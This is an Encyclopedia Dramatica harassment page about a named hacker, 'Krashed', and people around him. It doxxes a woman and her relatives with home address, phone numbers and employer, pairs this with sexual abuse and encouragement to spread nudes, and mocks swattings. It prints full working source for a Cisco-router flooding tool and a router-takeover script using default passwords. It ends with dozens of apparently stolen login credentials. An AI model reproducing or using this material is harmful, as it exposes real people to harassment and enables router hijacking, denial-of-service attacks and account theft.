⚠️ Encyclopedia Dramatica is currently being restored by automated scripts ⚠️

There's been a lot of questions as to what's going on with the site and what comes next. So we have this (ordered) roadmap of what's being worked on and what's to come. This will be updated until the roadmap is complete as Æ has a lot of missing features and ideas that I'd like to fix in regards to its offerings before I implement big plans for the site's popularity and well-being in 2021.

Æ Roadmap

  • Content restoration (Mostly done, few things missing that will be restored sporadically)
  • Image restoration (Being run in background, nothing I can do cept wait)
  • Æ Imageboard (Currently being worked on)
  • Mediawiki upgrade and backend fixes
  • .onion domain for Tor-friendly editing and viewing
  • CSS overhaul (Fixing things like the videos on mobile, and overall a rehaul of the wiki's look to be more friendly to readers)
  • Paid bounty board for new articles (Won't be managed by me for legal reasons however I will ensure it runs smoothly)
  • Anonymous phone # service for those seeking ban evades from Twitter as well as a phone number not tied to their name (more details at launch)

  • Currently we are nearing our annual LLC renewal fee ($650) as well throwing the funds required for these other changes and aspects. If you would like to support Æ consider purchasing a copy of The Hustler's Bible or securing some Merch. Donating is also appreciated however I would rather give something back as per the two options above.

    If you have any questions you can join our public Telegram chat to DM me privately or @ me in chat.

    You can also email me via [email protected]

    Merch notes: Thank you to all who have purchased merch. We will ship late January or mid February depending on our provider's speed.

    Here's to setting the world on fire in 2021! - aediot



    Krashed

    From Encyclopedia Dramatica
    Jump to navigation Jump to search

    Template:Snitch


    File:Krashed.jpg
    The face of autism

    There are many methods to getting a woman to fall in love with you. Some women are into candies, others flowers. If you ask Richard "Krashed" Roby the best way to get a woman to fall in love with you, he'll say "Packet her ass until she sends you nudes, then hold them over her head with a death grip." After being nailed by the FBI, Krashed then proceeded to kindly inform the FBI about everything he's been up to, as well as the activities of everyone he chatted with online. Eighteen months later, with a semi-bruised ego, and flat-tire anus, Krashed was back on the prowl. This time, he's not going to use his AWESOME botnet to extort shells from others. Oh no, he has a far better idea. He's going to thrust his e-penis upon anyone he disagrees with. His 3 inch electronic schlong gets force-fed to IRC networks that don't give him an o-line, users that criticize his FBI rat past, and more often; women who think he's a disgusting wretch of a human being.

    It is a well known fact amongst the botnet community that Krashed became friends with Wheelchair1918 (ryan1918.com) and sucked his dick until he was released a crippled version of the AgoBot source code. Krashed then later took credit for being involved with the original AgoBot team after being arrested by the FBI, as well as the credit of many other attacks that he was not responsible for, when in reality, Rain, Emp, and Ago had not ever heard of Krashed. This kid is like an autistic version of MafiaBoy.

    Aush0k vs Krashed & Xnite

    Krashed in his typical homosexual faggotry of epic proportions decided that he in fact, had the most autism on the entire internet, and decided to make a personal attack against Aush0k, the current owner of Bluehell IRC. After Krashed was unable to take down Bluehells IRC servers with DDoS from his Cisco Router Botnet (See: ICMP Response Disabled), Krashed sought out to attack Aush0k in the only way he knew possible; snitching on Dshocker.

    In January, 2013, after Krashed had submit numerous reports to the FBI about Aush0k & Dshocker, Krashed became the victim of an epic SWAT occurring at a post-christmas family gathering during dinner - which resulted in his brother being tased and sent to hospital.

    Our lulzy hacker friend from Australia by the name of aush0k went to the time and effort of summarizing this entire ED page in his debut nerdcore track for Krashed, file found here: https://dl.dropboxusercontent.com/u/61531532/lolkrashedisan00b.mp3

    Further to this, after extorting and blackmailing Krasheds ex-e-girlfriend, "Geekgirl" (Whore), some rather Lulzy facts were dug up on Krashed and released in another song by aush0k: https://dl.dropboxusercontent.com/u/61531532/Krashed_styled_on.mp3

    After these extremely embarrassing facts about Richard "Krashed" Robys childhood were revealed, Krashed began threatening aush0k with the FBIs "JTTF", or Joint-Terrorism-Task-Force, claiming that he was under investigation for attempted murder by swatting his brother. The only person in the entire world that saw Krashed as cool, Xnite, decided to stick up for Krashed, and got his chubby little fingers on a small fragment of the m0inmelt exploit source code. Robert "Xnite" Whitney then took it upon himself to steal the exploit, claiming it as his own, and reported it to the Python.org Security mailing-list.

    As a result of this, Xnite was swatted. TWICE, IN A 24 HOUR PERIOD!!111 Xnite was then seen on IRC making the following statement:

    14:34 <xnite> This time they have gone too far. This is a message to all IRC Operators. Please retain your whois information and logs for aush0k & KMS as there will now be a federal investigation into both of them. This information will be subpoenad. I have been swatted twice in the last 24 hours and as a result of that, was physically beaten TO THE POINT where I required medical attention. Do not befriend either of these people, as they are suspects in a criminal and federal investigation by the FBI. 
    

    Below tweets related:


       
     
    @xnite How's your door been today sir?
     

     
     

    @QXL, Reasonable question

       
     
    RT @xnite How's your door been today sir?
     

     
     

    @HackElPlaneta, Lot of concern in the community


       
     
    There will be a delay in my blog posts due to more important recent events that have come up. I hope to write more content soon. ~xnite~
     

     
     

    @xnite, Oh god no - Retweeted by @HackElPlaneta

    Shortly after this, the home of both Krashed and Xnite, DivineIRC was rooted with the MOTD message displaying "!!11 h4ck3d by lulzs3c kms aush0k ryanc - all h41l 7h3 grand w1z4d of lulzsec sabu!!11"

    Let this be a message.. Furfags and snitches will be destroyed.Media:http://2.bp.blogspot.com/-vkdamCe9DzA/Um_sgsc9MiI/AAAAAAAAAko/AEjyoPp5eBA/s1600/Infosec-Review-DDOS.png]]

    The man, the legend

    File:KrashedGettingTheGirls.png
    Secret eDating method revealed

    Krashed loves computers. He loves them so much that he won't even leave the house unless he really has to. He loves them so much that he picks the easiest, lowest hanging fruit of the internet, and adds them to his botnet. Picture, if you will, the wholesale "pwning" of unsecured Cisco routers. Once you've done that, you'll have an idea of what Krashed is packeting with. His love for "exploration" began with him meeting Ryan1918 (at least per his FBI deposition). He learned the best ways to use scripts (read: the work of others) in order to own machines and add them to botnets. Before getting arrested, Krashed liked to terrorize people on mirc-x.com and force them to reformat every few days, and he would try to impress the guys he had developed mancrushes on about how he had been busted twice as a minor for computer-related crimes, and how the judge told him the 2nd time that if he got in trouble again, he would either go in the Army or go to jail.

    File:KrashedPhearDehButtnets.png
    Impressing the girls with his massive "botnet"

    In the summer of 2011, Krashed spent most of his days packeting people he disagreed with relentlessly. Having botnets isn't nearly as impressive these days as it once was, and anyone savvy is able to configure null routes to ease the burden some. This summer saw Krashed's worst cases of sociopathic behavior arise that have ever before been witnessed, almost solely because flooding everything in sight was no longer having the desired effect. This fall has seen Krashed packeting irc.pr0sec.net and AnonOps, for some unknowable reason.


       
     
    when i get my nixnet set back up tomorrow, i am going to destroy this sorry ass network, and i wont stop, i wont let up to talk to you, you can kiss my ass if, you want it this way, fine, sang knows my point and hes already pulled out
     

     
     

    —Krashed, threatening to packet everything

    [[File:<a href="https://anonmgur.com?7ef7fa54209ae2f8abc53ad8dd785fb4.png"><img src="https://anonmgur.com/up/7ef7fa54209ae2f8abc53ad8dd785fb4.png" title="source: anonmgur.com" /></a>]]

    Logs

    <krashed> V3ND34D4, well, if he doesnt come here to work out his beef
    <krashed> i am gonna go to his place
    <Hubris> thats a threat man
    <Darm0n> whats his beef?
    <th3p4tri0t> lol I'd be calling the cops ^^
    <krashed> it would be a shame if he got pulled outside thrown on the ground and was curbstomped in front of his 5 year old
    <th3p4tri0t> you can't just show up at someone's house like that.
    <Darm0n> thats just wrong
    <krashed> though i dont want to do that
    <Hubris> hehe krashed has to be a troll
    <krashed> but its clear the shit talking in jester
    <krashed> the threats on my irc network
    <krashed> nah
    <V3ND34D4> With all due respect Mr.Krashed, if you did that to me, I would go secon ammendment on your ass.
    <Hudson> you can show up at someones house all you want, but if they tell you toleave and you stay then you gotta go. legally anyways
    <krashed> i am like, the columbine kids
    <krashed> tired of the trolls
    <Who_is_Gh0st> O.O
    <krashed> wheres my fucken gun at
    <krashed> lol


    Then we have more insanity, with Roby being caught in lies easily by third parties. Sad when you can't SE a third party.

    <krashed> he wanted to point his domain at krashed.org
    <krashed> so i again set rdns and pointed krashed.org at a desired IP
    <redacted> doesn't this disprove your theory?
    <krashed> got on irc with his host
    <krashed> again
    <krashed> lol
    <krashed> not really
    <redacted> he couldnt hack out of a paper back
    <redacted> so you claiming that stuff is pretty funny


    Here we have delusions beyond belief.

    <krashed> and if i didnt have to argue with you for 5 hours to tell him there was nothing serious between you 2 and that me and you had arrangements on living together
    <krashed> then maybe he would have stepped back
    <krashed> and stopped his shit


    Cute thing about the log above is that he made "living arrangements" with someone he met a month prior online and never physically had been with. But it's perfectly acceptable to Mr. Roby. After all, he's happy as long as he's doing the fucking over. He only throws toddler-esque hissy fits if he's on the receiving end. After that, the gloves come off and he sends 25GB/sec down the line.

    eWhore

    File:KrashedSlave1.jpg
    CDC Quarantine Area

    It has been recently found to much surprise that Krashed has somehow found a girl without DDoSing for nudes by the name of Jennifer Straus. This is however not surprising for the girl in question due to how 'Sharing' she is with every guy on the internet that gives her attention.

    Popular theory holds shes with him for his botnet and anyone who dares question his beloved will get threatened in a furry of over 9,000 love packets.

    Due to how many men she has fucked the following dox was easy to find, eDetectives hit the Center for Disease Control's website on the recent epidemic of Sexually Transmuted diseases in the Greater Portland Area.

    Phone: (503) 697-7039
    Address: 11555 SW Riverwood Rd
    Location: Portland, OR 97219

    It has been theorized Krashed's penis is way too small and because of his undying love for his Jennifer or he just simply doesn't know about Nutter is Jennifer's boyfriend In Real Life. Mr. Nutter likes walking his slave in the mornings while shoving a small Asian family in and out of the cave of doom.

    The story of Mr. Nutter is a poor poor one being such a lonely nerd until he was walking one day and happen to fall into a hole and fell instantly in love with Jennifer. Ever since then he has been happy fisting his love because that is all the pussy he has ever had in his entire life. After Nutter became aware that his girl was camwhoring claiming to be some skiddie's fiance, it became apparent his desperation level and unattractiveness was off the scales or simply doesn't mind his girlfriend is a cheating whore. Remember call (503) 697-7039 if you want a good time. It also has been reported she has even flown to desperate older men she meet online because no one else wants her.

    *	krashed ([email protected]) has joined #lobby
    *	krashed has quit (Quit: Leaving)
    <KrashedsGirl>	krashed sweetheart <3
    <KrashedsGirl>	aww
    <KrashedsGirl>	dang
    *	KrashedsGirl forces him to rejoin


    <Nni>	My eyes itch
    *	krashed kisses his KrashedsGirl 
    <T0PSH1T>	Jilly: BULLFUKINSHIT MATE
    *	KrashedsGirl kisses back
    *	KrashedsGirl is now known as mzjen
    <Jilly>	KrashedsGirl you big ol ho
    *	Joah scratches Nni's eyes
    <Jilly>	ope
    <Jilly>	i meant krashed
    *	mzjen hopes that clears some stuff up
    *	Notify: mzjen is online (alpha).
    <mzjen>	Wow.
    <mzjen>	lk
    *	`T0PSH1T has quit (Ping timeout: 151 seconds)
    <mzjen>	:P
    <mzjen>	Krashed isn't a ho
    <SatanicSniper>	Hey, mzjen
    <mzjen>	He is my boyfriend.
    <mzjen>	:3


    Epic Fiance Update

    Due to Krashed's epeen and irl being so small she is now with Krashed Flare183 SPAWN rxvt Alias xnite The IRC Bicycle, everyone has had a ride

    This being an epic tragedy of the breaking up of the one man she loves so much she has decided that this love was way too much for one man. She has last been sighted in a back ally loving multiple men post breakup. She is holding back her tears and sucking her pain away swallow by swallow.

    To help this young girl over her love she would want to be remembered forever as a cheap easy slut. You shouldn't contact her IRL Boyfriend with her nudes, let this woman grief in peace especially not Carol Nutter, John Nutter about the soon to be daughter in law that works at Oregon Hauling and Cleanup, Inc., Phone 503-827-5865 that happens to now be engaged to John Nutter.

    I would not advise contacting Martha Straus about her daughter either at 503-781-9132 and defenitly not this linking any nudes or anything.

    The Man of Desperation

    There would be something written here but nothing can describe the desperation level like this picture.

    WARNING BIOHAZARD BELOW

    File:TheDesperationOfKrashed.jpg
    No amount of booze can make this whale look pretty

    Official ED Federal Update

    File:Krashed-HardcoreHacker.png
    Super Hacker behind 7 proxies

    Secret undercover agents in a long going investigation into the mentally retarded confiscated Krashed's computer as part of Operation Ear Bite. The operation has been considered a success with the downfall of the mastermind behind Autistic Inbred Dayslexic Skiddies (AIDS), an organization devoted to the lowest level of retardedness but the greatest amount of felonies.

    Typical characteristics of this group include the following:

    1. The feeling they will never get caught when they DDoS everything on the internet they disagree with using their IRL names
    2. A general lack of intelligence and creativity, instead relying on the code of others
    3. Attacking using servers they rent calling it a botnet
    4. Failure to understand they fail

    "The problem of AIDs on the internet is not a new one.", a FBI spokesman said, "Those who are in AIDs have a constant denial of being a member it is amazing how they can even operate. Rather than admitting membership they create cover groups which are, in fact, just a re-branding of AIDs. Notable groups considered in this classification: Kyrogenics, Anonymous, and Barbra Streisand".

    File:Krashed-Botnet.png
    Super secret botnet h4x0r on Xtronic.net but don't tell anyone it's a secret mkay?

    Secrets Revealed

    During the investigation agents revealed that google was a great contributor to their case. AIDs are known to brag, post logs, and constantly get caught in the act so much it was difficult to go through the sheer volume of it all. The secret method of his attacks was revealed by an undercover operative that he could not help but brag about how he impresses all the girls. Showing the 2nd characteristic classification of AIDs, it is not surprisingly this is the code of someone else Template:Pastebin.

    /*
     * a program that will connect to
     * all enabled cisco routers stored one per
     * line in a plain text file (up to 255) and ping
     * a specified host
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <signal.h>
    #include <errno.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>
    #include <getopt.h>
    
    struct sockaddr_in sockadd[500];
    int sockets[500];
    
    int close_all_sockets(int sockets2[500])
    {
        int i = 0;
        char *message = "QUIT\r\n";
    
        printf("Closing sockets, stand by... \n");
        while (sockets2[i] != 0) {
            send(sockets2[i], (char *) message, strlen(message), 0);
            shutdown(sockets2[i], SHUT_RDWR);
            i++;
        }
        return 0;
    }
    
    
    void catch_signal(int signo)
    {
        printf("\e[0m\n*** CAUGHT SIGNAL %d, CLOSING ALL SOCKETS!\n", signo);
        close_all_sockets(sockets);
        exit(0);
    }
    
    void signal_init(void)
    {
        struct sigaction sa_old, sa_new;
    
        sa_new.sa_handler = catch_signal;
        sigemptyset(&sa_new.sa_mask);
        sa_new.sa_flags = 0;
        sigaction(SIGINT, &sa_new, &sa_old);
        sigaction(SIGTERM, &sa_new, &sa_old);
        sigaction(SIGKILL, &sa_new, &sa_old);
        sigaction(SIGSTOP, &sa_new, &sa_old);
        sigaction(SIGHUP, &sa_new, &sa_old);
        sigaction(SIGALRM, &sa_new, &sa_old);
    }
    
    char *chop(char *str)
    {
        int i = 0;
        while (str[i]) {
            if (str[i] == '\n')
                str[i] = '\0';
            i++;
        }
        return str;
    }
    
    int resolv(const char *name, struct sockaddr_in *addr)
    {
        struct hostent *host;
        memset(addr, 0, sizeof(struct sockaddr_in));
    
        addr->sin_addr.s_addr = inet_addr(name);
    
        if (addr->sin_addr.s_addr == -1) {
            if ((host = gethostbyname(name)) == NULL)
                return -1;
            addr->sin_family = host->h_addrtype;
            memcpy((caddr_t) & addr->sin_addr, host->h_addr, host->h_length);
        }
        return 0;
    
    }
    
    typedef struct _cisco {
        u_char passwd[64];
        u_char file[256];
        u_char enable[64];
        u_char target[256];
        u_long dgsize;
        u_long pktnum;
        int port;
    } CISCO;
    
    void help(void)
    {
        printf("Options are:\n"
               "\t-f <file>           The name of the cisco file to read (default enabled.txt)\n"
               "\t-p <password>       The login password of the routers\n"
               "\t-e <enable-pass>    The enable password of the routers (default cisco)\n"
               "\t-t <target>         The target hostname or IP address\n"
               "\t                       - will be converted to IP automatically\n"
               "\t-d <port>           The port on the cisco router (default 23)\n"
               "\t-n <num>            Number of packets to send (default 9999999)\n"
    
               "\t-s <size>           The datagram size (default 18024)\n"
               "\t-h                  Prints this help screen\n" "-\n");
        return;
    }
    
    void banner(void)
    {
        printf("slam.c by Evil ([email protected]) [pid:%d]\n", getpid());
    }
    
    int main(int argc, char **argv)
    {
        FILE *fp;
        char buffer[1024][1024];
        char buffer2[1024];
        char service[32];
        int i = 0;
        CISCO *cisco = malloc(sizeof(CISCO));
        static char optstring[] = "hf:p:e:t:d:n:s:";
        int optch;
        int ch;
        struct servent *serv;
        struct sockaddr_in sin;
    
        signal_init();
    
    
        strcpy(cisco->file, "enabled.txt");
        strcpy(cisco->enable, "cisco");
        cisco->port = 23;
        cisco->pktnum = 9999999;
        cisco->dgsize = 18024;
    
        setvbuf(stdout, NULL, _IONBF, 0);
    
        banner();
    
    
        if (argc < 5) {
            help();
            return 1;
        }
    
        while ((optch = getopt(argc, argv, optstring)) != -1) {
            switch (optch) {
            case 'f':{
                    strcpy(cisco->file, optarg);
                    break;
                }
            case 'p':{
                    strcpy(cisco->passwd, optarg);
                    break;
                }
            case 'e':{
                    strcpy(cisco->enable, optarg);
                    break;
                }
            case 't':{
                    strcpy(cisco->target, optarg);
                    break;
                }
            case 'd':{
                    cisco->port = atoi(optarg);
                    break;
                }
            case 'n':{
                    cisco->pktnum = atol(optarg);
                    break;
                }
            case 's':{
                    cisco->dgsize = atol(optarg);
                    break;
                }
            case 'h':{
                    help();
                    return 1;
                }
            }
        }
    
        if ((strlen(cisco->target) < 7) || (strlen(cisco->passwd) < 3)) {
            fprintf(stderr,
                    "*** You must at LEAST specify a target IP and login password!\n
    ");
            return 1;
        }
    
        if ((serv = getservbyport(htons(cisco->port), "tcp")) == NULL)
            strcpy(service, "unknown");
        else
            strcpy(service, serv->s_name);
    
        if (resolv(cisco->target, &sin) < 0) {
            fprintf(stderr, "*** Could not resolve target host: %s\n",
                    strerror(errno));
            return 1;
        }
        strcpy(cisco->target, inet_ntoa(sin.sin_addr));
    
        printf("----------------------------\n");
        printf("File       : %s\n"
               "Login pass : %s\n"
               "Enable pass: %s\n"
               "Target IP  : %s\n"
               "Cisco port : %d (%s)\n"
               "Packets    : %lu\n"
               "Size       : %lu\n",
               cisco->file, cisco->passwd,
               cisco->enable, cisco->target,
               cisco->port, service, cisco->pktnum, cisco->dgsize);
        printf("----------------------------\n");
        printf("Is this information correct? [Y/N]: ");
        ch = getchar();
    
        if ((ch == 'Y') || (ch == 'y'));
        else {
            printf("Cancelled.\n");
            return 1;
        }
        if ((fp = fopen(cisco->file, "r")) == NULL) {
            fprintf(stderr, "*** Couldn't open %s for reading: %s\n",
                    cisco->file, strerror(errno));
            return 1;
        }
    
        memset(&sockets, 0, (sizeof(int) * 500));
    
        while (!feof(fp)) {
    
            fgets((char *) &buffer[i], 1024, fp);
    
            memset(&sockadd[i], 0, sizeof(struct sockaddr_in));
            sockadd[i].sin_family = AF_INET;
            sockadd[i].sin_port = htons(cisco->port);
            sockadd[i].sin_addr.s_addr = inet_addr(chop(buffer[i]));
            i++;
        }
    
    
    
        sockadd[i++].sin_port = 0;
        fclose(fp);
    
        i = 0;
        while (sockadd[i].sin_port != 0) {
            if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
                fprintf(stderr, "socket error: %s\n", strerror(errno));
                return -1;
            }
            i++;
        }
    
        i = 0;
    
    
        while (sockets[i] != 0) {
    
            if(sockadd[i].sin_addr.s_addr == 0xFFFFFFFF) break;
    
            printf("[ Connecting to \e[0;32m%16s\e[0m:\e[0;31m%d\e[0m",
    inet_ntoa(sockadd[i].sin_addr),
                   cisco->port);
            if (connect
                (sockets[i], (struct sockaddr *) &sockadd[i],
                 sizeof(struct sockaddr_in)) < 0) {
                fprintf(stderr, "\n*** connect error on %s (socket %d): %s\n",
                        inet_ntoa(sockadd[i].sin_addr), sockets[i],
                        strerror(errno));
                i++;
                continue;
            }
    
    
            printf(" ; sending commands...\n");
    
            sprintf(buffer2,
    
    "%s\r\nenable\r\n%s\r\nping\r\n\r\n%s\r\n%lu\r\n%lu\r\n0\r\n\r\n\r\n\r\n",
                    cisco->passwd, cisco->enable, cisco->target, cisco->pktnum,
                    cisco->dgsize);
    
            if (send(sockets[i], buffer2, strlen(buffer2), 0) < 0)
                fprintf(stderr, "\n*** send() error on socket %d: %s\n",
                        sockets[i], strerror(errno));
    
            i++;
        }
    
        i = 0;
    
        printf("-------------------------------------\n");
        printf("Transmission commensing!\n");
        printf("Hit CTRL+C to shutdown all sockets...\n");
    
        while (1) {;
        }
    
        close_all_sockets(sockets);
        return 0;
    }
    



    Ip scanned and found via Skype

    [17:52] <&BlackWolf{V}> @skyperesolver xkrashedx [17:52] <Devilz> (Skype Resolver) 174.102.6.88 [17:52] <&BlackWolf{V}> @ipinfo 174.102.6.88 [17:52] <Devilz> (Ip Info) retreiving info on 174.102.6.88 [17:52] <Devilz> (Ip Info) Hostname: No Hostname | City: Lima | Region: Ohio | Country: US | Location: 40.7426,-84.1052 | ISP: AS10796 Time Warner Cable Internet LLC

    Skiddie Stopping

    A script to stop Krashed:

    #!/usr/bin/python
     
    # botnet-takedown.py
    #
    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 1, or (at your option)
    # any later version.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    # GNU General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
    #
    # ----------------------------------------------------------------------
    #
    # Cisco botnet takedown script.
    # Written by rorschach
    # Use at your own risk, the actions taken by this app may not be legal.
    #
    # Run in daemon mode (-d) it will listen for ICMP packets, when it sees one
    # it will attempt to attack the IP. 
    #
    # In tcpdump parse mode (-t) it will parse a tcpdump log for offending
    # IP addresses.
    #
    # In IP list mode (-i) it simply takes in a list of IP adresses to attack.
    #
    # This script will login to open Cisco routers, turn off telnet and
    # then reboot it. The functionality could be modified to do things
    # like take over the bot so only you can use it, turn the attack on
    # the attacker, etc. The sky is really the limit here. Modify the 
    # takedown() function for this.
    #
    # Dependencies: python 2.x and scapy
    # To install on Ubuntu:
    #
    #  sudo apt-get install python-scapy
    #
    # This script must be ran as root if using daemon mode, due to the fact
    # that it sniffs packets using scapy.
    #
    # Enjoy the script.
     
    import sys, telnetlib, re, os, time, socket, threading
    from threading import Thread
    from scapy.all import *
     
    def usage(argZero):
      print "Usage: " + argZero
      print "  * -d               -- Daemon mode, parse IPs live from incoming ICMP packets."
      print "  * -t <tcpdump log> -- Parse IPs from tcpdump log."
      print "  * -i <ip list>     -- Load IPs from list."
      exit(1) 
     
    def takedown(ip):    # Disable router using telnet.
      print " [*] Disabling " + ip.rstrip()
      try:
        tn = telnetlib.Telnet(ip,23,2)
     
        tn.read_until("Password:", timeout=2) # modify these commands to change functionality
        tn.write("cisco\n")
        tn.read_until(">", timeout=2)
        tn.write("enable\n")
        tn.read_until("Password:", timeout=2)
        tn.write("cisco\n")
        tn.read_until("#", timeout=2)
        tn.write("config\n")
        tn.read_until("Configuring from terminal, memory, or network [terminal]?", timeout=2)
        tn.write("\n")
        tn.read_until("(config)#", timeout=2)
        tn.write("line vty 0 4\n")
        tn.read_until("(config-line)#", timeout=2)
        tn.write("transport input none\n")
        tn.read_until("(config-line)#", timeout=2)
        tn.write("^Z\n")
        tn.read_until("#", timeout=2)
        tn.write("reload\n")
        tn.read_until("System configuration has been modified. Save? [yes/no]:", timeout=2)
        tn.write("yes\n")
        tn.read_until("Proceed with reload? [confirm]", timeout=2)
        tn.write("\n")
     
        tn.close()
      except:
        print "  [*] Error: " + ip.rstrip()
     
    def takedownParse(pkt,ips): # Parse packets, check to make sure it is an ICMP echo-request, then make sure it has never been seen before, at that point run takedown()
      if(pkt.summary().split()[2] == "ICMP" and pkt.summary().split()[6] == "echo-request"):
        ip = pkt.summary().split()[3]
        check = 0
        for eip in ips:
          if ip.rstrip() == eip.rstrip():
            check = 1
            break
        if check == 0:
          ips.append(ip)
          f = open("/root/takedown.log", "a+")
          f.write(ip + "\r\n")
          f.close()
          t = threading.Thread(target=takedown,args=(ip,))
          t.start()
     
    def loadIPs(file):  # load IP list from file
      f = open(file, "r")
      ips = f.readlines()
      f.close()
     
      for ip in ips:
        takedown(ip.rstrip())
     
    def parseDumpLogs(host, logFile):  # parse tcpdump logs
      currentTime = time.time()
      num = 0
      print " [*] Initiating takedown"
      print " [*] Reading tcpdump file"
     
      f = open(logFile, "r")  # open log, filter out non-icmp packets
      ips = f.readlines()
      for n,ip in enumerate(ips):
        try:
          if ip.split()[5] == "icmp":
            ips[n] = ip.split()[2].rstrip()
          else:
            ips[n] = "null"
        except:
          pass
     
      ips = list(set(ips))   # remove duplicates
     
      print " [*] Resolving hostnames to IP addresses"
     
      for n,ip in enumerate(ips):  # if there is a letter in the IP, resolve it to an IP address
        if(re.search("[a-zA-Z]",ip) != None and ip != socket.gethostname() and ip != "null"):
          try:
            tempIP = socket.gethostbyname(ip)
            if(tempIP != None):
              ips[n] = tempIP.rstrip()
          except:
            pass
     
      for n,ip in enumerate(ips): # remove extraneous data
        if(ip != socket.gethostname() and ip != "null" and ip != ""):
          if(ip.find(":") != -1):
            ips[n] = "null"
          else:
            num += 1
     
      print " [*] Taking down " + str(num) + " zombies"
     
      for ip in ips:        # takedown each IP address
        if(ip != socket.gethostname() and ip != "null" and ip != ""):
          takedown(ip)
     
      print " [*] Takedown complete\r\n\r\nTook down " + str(num) + " IPs in " + str(time.time() / currentTime) + " seconds."
     
    def takedownDaemon():       # start sniffing and read IP log
      f = open("/root/takedown.log", "r")
      ips = f.readlines()
      f.close()
     
      print "\r\n -- IPs previously taken down -- \r\n"
      for ip in ips:
        print " [*] " + ip.rstrip()
      print "\r\n ------------------------------- \r\n"
     
      if os.fork() == 0:
        if os.fork() == 0:
          sniff(prn=lambda pkt:takedownParse(pkt,ips), store=0)
     
    def main():
      print "botnet-takedown.py"
     
      if(len(sys.argv) < 2):
        usage(sys.argv[0])
     
      if(sys.argv[1] == "-d"):  # daemon mode
        takedownDaemon()
     
      elif(sys.argv[1] == "-t"): # tcpdump logs
        if(len(sys.argv) == 3):
          parseDumpLogs(sys.argv[2])
        else:
          usage(sys.argv[0])
     
      elif(sys.argv[1] == "-i"): # ip log mode
        if(len(sys.argv) == 3):
          loadIPs(sys.argv[2])
        else:
          usage(sys.argv[0])
     
      else:
        usage(sys.argv[0])
     
    if __name__ == "__main__":
      main()
    


    Exclusive Interview With Krashed's Girl

    +SanguineRose   mzjen: Krashed got raided pending charges against him for multiple attacks in excess of 10k
    +SanguineRose   :D
    +moron  :o)
    everyone        wat
    +SanguineRose   just to bring you up to what happened
    +mzjen  LOL
    +mzjen  I know.
    +mzjen  I am proud of him
    


    Pr0n

    It appears our good friend Krashed loves the porn. It appears his eWhore just doesn't do it for him.

    File:KrashedWalkingSlave.jpg
    Does my ass look fat baby?
    http://members.videosz.com/
    UserName: vzr988b5
    Password: tijaphu2
    http://www.brazzers.com/members/index.php?action=login/
    UserName: oldhead
    Password: lockbox
    http://n1.brazzers.com/sblogin/login.php/members/
    UserName: burtheil
    Password: lankford
    http://members.videosz.com/
    UserName: vzr79sem
    Password: tdc8128
    http://members.bangbros.com/
    UserName: arkantis
    Password: lumiare
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: mride75
    Password: mark75
    http://n2.brazzers.com/
    UserName: alaskanman04
    Password: foxhound
    http://brazzersnetwork.com/members/
    UserName: tester772
    Password: bsunny
    http://www.brazzers.com/
    UserName: bigwolf9
    Password: bigwolf1
    http://members.bangbrosnetwork.com/
    UserName: fuzzbuster
    Password: nirvana
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: VetteDude
    Password: Sailing1
    http://www.brazzers.com/
    UserName: aalltt11
    Password: boxxer
    http://bangbrosworldwide.oxpasspo/
    UserName: guodujw5442
    Password: haugitw5892
    http://members.brazzersnetwork.com/
    UserName: jquach
    Password: dragon
    http://n1.brazzersnetwork.com/sblogin/login.shtml/members/
    UserName: bigwolf9
    Password: bigwolf1
    http://n2.brazzers.com/
    UserName: mhughes
    Password: hammer35
    http://bangbrosnetwork.com/members/
    UserName: cloever
    Password: valleas
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: battery
    Password: spencer
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: ashwood
    Password: ashwood1
    http://bangbrosnetwork.com/member/
    UserName: apucnherh
    Password: lotus
    http://members.brazzersnetwork.com/
    UserName: jcesposito
    Password: gizmo52
    http://www.videosz.com/
    UserName: vfn6mc56
    Password: rshc387
    http://videosz.com/
    UserName: vza43bvm
    Password: xpv7377
    http://www.bangbrosnetwork.com/t1/pps=teeny/
    UserName: dnsadm
    Password: davex
    http://ma.brazzers.com/members/index.php?action=home/
    UserName: helvetex
    Password: death123
    http://n1.brazzerspass.com/sblogin/login.shtml/members/
    UserName: gibber
    Password: ziggyg
    http://www.bangbrosnetwork.com/t1/pps=teeny/
    UserName: joeboy
    Password: Grenden
    http://facialsz.videosz.com/members.php/
    UserName: vzs9984e
    Password: mjzn728
    http://facialsz.videosz.com/members.php/
    UserName: vfn7mg8k
    Password: cydj369
    http://bangbrosnetwork.com/members/[/url]/
    UserName: apucnherh
    Password: plotus
    http://ma.brazzers.com/members/index.php?action=login/
    UserName: byers1
    Password: joanchenhttp://members.videosz.com/
    UserName: vzr988b5
    Password: tijaphu2
    http://www.brazzers.com/members/index.php?action=login/
    UserName: oldhead
    Password: lockbox
    http://n1.brazzers.com/sblogin/login.php/members/
    UserName: burtheil
    Password: lankford
    http://members.videosz.com/
    UserName: vzr79sem
    Password: tdc8128
    http://members.bangbros.com/
    UserName: arkantis
    Password: lumiare
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: mride75
    Password: mark75
    http://n2.brazzers.com/
    UserName: alaskanman04
    Password: foxhound
    http://brazzersnetwork.com/members/
    UserName: tester772
    Password: bsunny
    http://www.brazzers.com/
    UserName: bigwolf9
    Password: bigwolf1
    http://members.bangbrosnetwork.com/
    UserName: fuzzbuster
    Password: nirvana
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: VetteDude
    Password: Sailing1
    http://www.brazzers.com/
    UserName: aalltt11
    Password: boxxer
    http://bangbrosworldwide.oxpasspo/
    UserName: guodujw5442
    Password: haugitw5892
    http://members.brazzersnetwork.com/
    UserName: jquach
    Password: dragon
